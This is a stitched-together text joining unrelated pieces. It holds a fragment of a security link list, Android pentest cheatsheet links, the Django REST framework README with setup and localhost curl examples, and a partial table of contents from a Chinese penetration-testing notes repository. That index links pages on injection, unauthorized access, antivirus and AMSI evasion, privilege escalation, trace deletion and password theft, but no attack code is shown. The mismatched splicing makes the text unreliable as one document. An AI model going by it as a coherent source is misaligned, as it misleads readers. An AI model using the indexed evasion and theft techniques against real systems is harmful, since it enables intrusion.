[PHP_Configuration_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/PHP_Configuration_Cheat_Sheet.html) - [hacktricks](https://book.hacktricks.xyz/) - [lfi-cheat-sheet](https://highon.coffee/blog/lfi-cheat-sheet/) - [steg](https://github.com/DominicBreuker/stego-toolkit) <p align="center"> <a href="#"> <img src="https://miro.medium.com/proxy/1*cihPkdjv-7l7RqZdgI_BvA.gif" /> </a> </p> ### `Contributing` > If you have any cool content, please link to it via a PR.
# Raw Text File Writeup
# Cheatsheet * Frida : [[ 1 ]](https://erev0s.com/blog/frida-code-snippets-for-android/) - [[ 2 ]](https://codeshare.frida.re/) - [[ 3 ]](https://awakened1712.github.io/hacking/hacking-frida/) - [[ 4 ]](https://github.com/cyberheartmi9/Frida-Guide/blob/main/Frida%20Guide/Frida%20Guide.md) * ADB : [[ 1 ]](https://devhints.io/adb) - [[ 2 ]](https://gist.github.com/HugoMatilla/f92682b06068b06a6f2a) - [[ 3 ]](https://fazlerabbi37.github.io/blogs/adb_cheat_sheet.html) - [[ 4 ]](https://github.com/mzlogin/awesome-adb/blob/master/README.en.md) * Dalvik opcode : [[ 1 ]](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html) # Checklist * [Android pentest checklist](https://mobexler.com/checklist.htm#android) * [MASVS checklist for pentesting android apps](https://mobile-security.gitbook.io/masvs/) * [Proxying Android app traffic – Common issues](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/) * [Android App Pentest Xmind](https://www.xmind.net/m/GkgaYH/)
# [Django REST framework][docs] [![build-status-image]][travis] [![coverage-status-image]][codecov] [![pypi-version]][pypi] [![Gitter](https://badges.gitter.im/tomchristie/django-rest-framework.svg)](https://gitter.im/tomchristie/django-rest-framework?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) **Awesome web-browsable Web APIs.** Full documentation for the project is available at [http://www.django-rest-framework.org][docs]. --- # Funding REST framework is a *collaboratively funded project*. If you use REST framework commercially we strongly encourage you to invest in its continued development by **[signing up for a paid plan][funding]**. The initial aim is to provide a single full-time position on REST framework. *Every single sign-up makes a significant impact towards making that possible.* <p align="center"> <a href="http://jobs.rover.com/"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/rover-readme.png"/></a> <a href="https://getsentry.com/welcome/"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/sentry-readme.png"/></a> <a href="https://getstream.io/?utm_source=drf&utm_medium=banner&utm_campaign=drf"><img src="https://raw.githubusercontent.com/tomchristie/django-rest-framework/master/docs/img/premium/stream-readme.png"/></a> </p> *Many thanks to all our [wonderful sponsors][sponsors], and in particular to our premium backers, [Rover](http://jobs.rover.com/), [Sentry](https://getsentry.com/welcome/), and [Stream](https://getstream.io/?utm_source=drf&utm_medium=banner&utm_campaign=drf).* --- # Overview Django REST framework is a powerful and flexible toolkit for building Web APIs. Some reasons you might want to use REST framework: * The [Web browsable API][sandbox] is a huge usability win for your developers. * [Authentication policies][authentication] including optional packages for [OAuth1a][oauth1-section] and [OAuth2][oauth2-section]. * [Serialization][serializers] that supports both [ORM][modelserializer-section] and [non-ORM][serializer-section] data sources. * Customizable all the way down - just use [regular function-based views][functionview-section] if you don't need the [more][generic-views] [powerful][viewsets] [features][routers]. * [Extensive documentation][docs], and [great community support][group]. There is a live example API for testing purposes, [available here][sandbox]. **Below**: *Screenshot from the browsable API* ![Screenshot][image] # Requirements * Python (2.7, 3.2, 3.3, 3.4, 3.5) * Django (1.8, 1.9, 1.10) # Installation Install using `pip`... pip install djangorestframework Add `'rest_framework'` to your `INSTALLED_APPS` setting. INSTALLED_APPS = ( ... 'rest_framework', ) # Example Let's take a look at a quick example of using REST framework to build a simple model-backed API for accessing users and groups. Startup up a new project like so... pip install django pip install djangorestframework django-admin.py startproject example . ./manage.py migrate ./manage.py createsuperuser Now edit the `example/urls.py` module in your project: ```python from django.conf.urls import url, include from django.contrib.auth.models import User from rest_framework import serializers, viewsets, routers # Serializers define the API representation. class UserSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = User fields = ('url', 'username', 'email', 'is_staff') # ViewSets define the view behavior. class UserViewSet(viewsets.ModelViewSet): queryset = User.objects.all() serializer_class = UserSerializer # Routers provide a way of automatically determining the URL conf. router = routers.DefaultRouter() router.register(r'users', UserViewSet) # Wire up our API using automatic URL routing. # Additionally, we include login URLs for the browsable API. urlpatterns = [ url(r'^', include(router.urls)), url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')) ] ``` We'd also like to configure a couple of settings for our API. Add the following to your `settings.py` module: ```python INSTALLED_APPS = ( ... # Make sure to include the default installed apps here. 'rest_framework', ) REST_FRAMEWORK = { # Use Django's standard `django.contrib.auth` permissions, # or allow read-only access for unauthenticated users. 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly' ] } ``` That's it, we're done! ./manage.py runserver You can now open the API in your browser at `http://127.0.0.1:8000/`, and view your new 'users' API. If you use the `Login` control in the top right corner you'll also be able to add, create and delete users from the system. You can also interact with the API using command line tools such as [`curl`](http://curl.haxx.se/). For example, to list the users endpoint: $ curl -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/ [ { "url": "http://127.0.0.1:8000/users/1/", "username": "admin", "email": "[email protected]", "is_staff": true, } ] Or to create a new user: $ curl -X POST -d username=new -d [email protected] -d is_staff=false -H 'Accept: application/json; indent=4' -u admin:password http://127.0.0.1:8000/users/ { "url": "http://127.0.0.1:8000/users/2/", "username": "new", "email": "[email protected]", "is_staff": false, } # Documentation & Support Full documentation for the project is available at [http://www.django-rest-framework.org][docs]. For questions and support, use the [REST framework discussion group][group], or `#restframework` on freenode IRC. You may also want to [follow the author on Twitter][twitter]. # Security If you believe you’ve found something in Django REST framework which has security implications, please **do not raise the issue in a public forum**. Send a description of the issue via email to [[email protected]][security-mail]. The project maintainers will then work with you to resolve any issues where required, prior to any public disclosure. [build-status-image]: https://secure.travis-ci.org/tomchristie/django-rest-framework.svg?branch=master [travis]: http://travis-ci.org/tomchristie/django-rest-framework?branch=master [coverage-status-image]: https://img.shields.io/codecov/c/github/tomchristie/django-rest-framework/master.svg [codecov]: http://codecov.io/github/tomchristie/django-rest-framework?branch=master [pypi-version]: https://img.shields.io/pypi/v/djangorestframework.svg [pypi]: https://pypi.python.org/pypi/djangorestframework [twitter]: https://twitter.com/_tomchristie [group]: https://groups.google.com/forum/?fromgroups#!forum/django-rest-framework [sandbox]: http://restframework.herokuapp.com/ [funding]: https://fund.django-rest-framework.org/topics/funding/ [sponsors]: https://fund.django-rest-framework.org/topics/funding/#our-sponsors [oauth1-section]: http://www.django-rest-framework.org/api-guide/authentication/#django-rest-framework-oauth [oauth2-section]: http://www.django-rest-framework.org/api-guide/authentication/#django-oauth-toolkit [serializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#serializers [modelserializer-section]: http://www.django-rest-framework.org/api-guide/serializers/#modelserializer [functionview-section]: http://www.django-rest-framework.org/api-guide/views/#function-based-views [generic-views]: http://www.django-rest-framework.org/api-guide/generic-views/ [viewsets]: http://www.django-rest-framework.org/api-guide/viewsets/ [routers]: http://www.django-rest-framework.org/api-guide/routers/ [serializers]: http://www.django-rest-framework.org/api-guide/serializers/ [authentication]: http://www.django-rest-framework.org/api-guide/authentication/ [image]: http://www.django-rest-framework.org/img/quickstart.png [docs]: http://www.django-rest-framework.org/ [security-mail]: mailto:[email protected]
- [个人卫生](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/个人卫生.md) - [收集信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/README.md) - [域名信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/域名信息/README.md) - [CDN是否存在](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/域名信息/CDN是否存在.md) - [Bypass CDN](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/域名信息/绕过CDN.md) - [DNS历史记录](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/域名信息/DNS历史记录.md) - [SSL证书信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/域名信息/SSL证书信息.md) - [Whois信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/域名信息/Whois信息.md) - [子域名检查](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/子域名检查.md) - [IP和端口信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/IP和端口信息/README.md) - [ASN](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/IP和端口信息/ASN.md) - [历史IP](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/IP和端口信息/历史IP.md) - [NMAP使用](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/IP和端口信息/NMAP使用.md) - [工具](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/IP和端口信息/工具.md) - [网站架构和指纹识别](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/网站架构和指纹识别.md) - [其他信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/其他信息.md) - [人员信息](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/收集信息/人员信息.md) - [初始访问](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/README.md) - [Web服务突破](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/README.md) - [前端](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/前端.md) - [SQL注入](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/README.md) - [判断注入](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/判断注入.md) - [数据库类型识别](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/数据库类型识别.md) - [MSSQL](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/MSSQL.md) - [MYSQL](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/MYSQL.md) - [Oracle](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/Oracle.md) - [PostgreSQL](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/PostgreSQL.md) - [SQLite](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/SQLite.md) - [DB2](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/DB2.md) - [SQLMAP](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SQL注入/SQLMAP.md) - [XSS](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/XSS.md) - [CSRF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/CSRF.md) - [PHP包含下载读取](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/PHP包含下载读取.md) - [XML](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/XML.md) - [SSRF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SSRF.md) - [DNSLOG](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/DNSLOG.md) - [Xpath注入](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/Xpath注入.md) - [SSTI](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/SSTI.md) - [命令注入](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/命令注入.md) - [PHPMyAdmin利用](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/PHPMyAdmin利用.md) - [PHP-FPM之RCE](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/PHP-FPM之RCE.md) - [PHPstudy后门](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/PHPstudy后门.md) - [IIS写权限](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/IIS写权限.md) - [绕过WAF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/绕过WAF.md) - [数据库](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/数据库.md) - [命令执行](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/命令执行.md) - [CmdHijack](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/CmdHijack.md) - [Fuzz目录](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/Fuzz目录.md) - [web程序漏洞](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/web程序漏洞.md) - [编辑器漏洞](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/编辑器漏洞.md) - [邮件地址payload](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/邮件地址payload.md) - [从LFI到RCE](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/从LFI到RCE.md) - [深x服](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/深x服.md) - [天r信](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/tianr.md) - [Web server日志分析命令](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/Web-server日志分析命令.md) - [默认密码](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/默认密码.md) - [wso2](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/Web服务突破/wso2.md) - [未授权访问](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/README.md) - [Redis](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/Redis.md) - [activemq](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/activemq.md) - [docker](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/docker.md) - [elastic](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/elastic.md) - [hadoop](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/hadoop.md) - [jboss](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/jboss.md) - [jenkins](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/jenkins.md) - [memcache](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/memcache.md) - [mongo](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/mongo.md) - [zookeeper](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/zookeeper.md) - [CouchDB](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/CouchDB.md) - [Jenkins](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/Jenkins.md) - [Solr](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/Solr.md) - [VNC](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/VNC.md) - [Weblogic](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/Weblogic.md) - [Zabbix](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/未授权访问/Zabbix.md) - [一些Bypass](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/README.md) - [Linux绕过disable_function](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/Linux绕过disable_function.md) - [Windows系统组件com绕过](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/Windows系统组件com绕过.md) - [cgi启动方式](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/cgi启动方式.md) - [蚁剑绕过](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/蚁剑绕过.md) - [ImageMagick组件绕过](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/ImageMagick组件绕过.md) - [常规函数绕过](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/常规函数绕过.md) - [Open_basedir绕过](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/Open_basedir绕过.md) - [绕过lsa protection](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/绕过lsa-protection.md) - [Bypass mod_security](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/一些Bypass/Bypass-mod_security.md) - [TomcatAjp之LFI&RCE](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/TomcatAjp之LFI&RCE.md) - [MSSQL&Agent之Job上线](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/MSSQL&Agent之Job上线.md) - [MySQL开启外联](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/MySQL开启外联.md) - [MySQL连接读取文件](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/MySQL连接读取文件.md) - [MySQL不登陆执行命令](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/MySQL不登陆执行命令.md) - [近源攻击](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/README.md) - [WI-FI破解](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/WI-FI破解.md) - [钓鱼网络](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/钓鱼网络.md) - [无线干扰](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/无线干扰.md) - [BadUSB](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/BadUSB.md) - [蓝牙](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/蓝牙.md) - [克隆卡](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/近源攻击/克隆卡.md) - [鱼叉式攻击](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/鱼叉式攻击/README.md) - [钓鱼邮件](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/鱼叉式攻击/钓鱼邮件.md) - [钓鱼连接](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/鱼叉式攻击/钓鱼连接.md) - [第三方鱼叉](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/初始访问/鱼叉式攻击/第三方鱼叉.md) - [防御规避](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/README.md) - [C#源码免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/C#源码免杀/README.md) - [直接编译](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/C#源码免杀/直接编译.md) - [CSC+InstallUtil](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/C#源码免杀/CSC+InstallUtil.md) - [加密处理](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/C#源码免杀/加密处理.md) - [XOR和AES编码](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/C#源码免杀/XOR和AES编码.md) - [Python源码免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Python源码免杀/README.md) - [pyinstaller加载C代码编译](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Python源码免杀/pyinstaller加载C代码编译.md) - [加载器分离](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Python源码免杀/加载器分离.md) - [Base64编码+Pyinstaller打包](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Python源码免杀/Base64编码+Pyinstaller打包.md) - [pyinstaller加载py代码编译](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Python源码免杀/pyinstaller加载py代码编译.md) - [Powershell免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/README.md) - [行为检测](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/行为检测.md) - [分块免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/分块免杀.md) - [拆分+C编译](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/拆分+C编译.md) - [CobaltStrike+Powershell免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/CobaltStrike+Powershell免杀.md) - [Out-EncryptedScript](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/Out-EncryptedScript.md) - [Invoke-Shellcode](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/Invoke-Shellcode.md) - [Invoke-Obfuscation](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/obfuscation.md) - [直接生成](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/直接生成.md) - [PyFuscation](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/PyFuscation.md) - [Xencrypt](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Powershell免杀/Xencrypt.md) - [the-backdoor-factory](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/the-backdoor-factory.md) - [捆绑器](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/捆绑器.md) - [DLL劫持](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/DLL劫持.md) - [Evasion模块](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Evasion模块.md) - [Golang](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Golang.md) - [GreatSCT](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/GreatSCT.md) - [hanzoInjection](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/hanzoInjection.md) - [InstallUtil](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/InstallUtil.md) - [加载器免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/加载器免杀/README.md) - [shellcode_launcher](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/加载器免杀/shellcode_launcher.md) - [SSI加载](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/加载器免杀/SSI加载.md) - [MSBuilt](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/MSBuilt.md) - [MSF捆绑](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/MSF捆绑.md) - [MSF+shellcode免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/MSF+shellcode免杀/README.md) - [c和c++源码免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/MSF+shellcode免杀/c和c++源码免杀.md) - [编码器](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/MSF+shellcode免杀/编码器.md) - [nps_payload](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/MSF+shellcode免杀/nps_payload.md) - [Mshta](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Mshta.md) - [Phantom-Evasion](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Phantom-Evasion.md) - [RC4](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/RC4.md) - [Ruby](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Ruby.md) - [Shellter](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Shellter.md) - [Veil](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Veil.md) - [zirikatu](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/zirikatu.md) - [carboncopy](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/carboncopy.md) - [avet](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/avet.md) - [c代码加载图片马](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/c代码加载图片马.md) - [Bypass AMSI](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Bypass-AMSI.md) - [一些可尝试绕过白名单的执行](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/一些可尝试绕过白名单的执行.md) - [在Windows Server 2016和2019中绕过WindowsDefender](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/在Windows-Server-2016和2019中绕过WindowsDefender.md) - [cshot远程shellcode](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/cshot远程shellcode.md) - [内存中解码shellcode绕过av](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/内存中解码shellcode绕过av.md) - [Pezor免杀](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/Pezor免杀.md) - [绕过安全狗脚本](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/绕过安全狗脚本.md) - [360白名单](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/防御规避/360白名单.md) - [权限提升](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/README.md) - [Windows提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/README.md) - [RDP&Firewall](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/README.md) - [爆破RDP](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/爆破RDP.md) - [注册表开启](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/注册表开启.md) - [防火墙](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/防火墙.md) - [注入点开启](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/注入点开启.md) - [MSF开启](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/MSF开启.md) - [wmic开启](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/wmic开启.md) - [多用户登陆](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/多用户登陆.md) - [RDP连接记录](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/RDP连接记录.md) - [删除痕迹](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/RDP&Firewall/删除痕迹.md) - [impactet工具包](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/impactet工具包.md) - [Windows-exploit-suggester](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Windows-exploit-suggester.md) - [Wesng](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Wesng.md) - [Searchsploit](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Searchsploit.md) - [激活guest](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/激活guest.md) - [MYSQLudf](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/MYSQLudf.md) - [MSSQL](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/MSSQL.md) - [MSF](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/MSF.md) - [BypassUAC](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/BypassUAC.md) - [Whitelist白名单](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Whitelist白名单.md) - [Powerup-AlwaysInstallElevated](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/Powerup-AlwaysInstallElevated.md) - [AlwaysInstallElevated提权](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/AlwaysInstallElevated提权.md) - [密码窃取](https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/权限提升/Windows提权/密码窃取.md) - 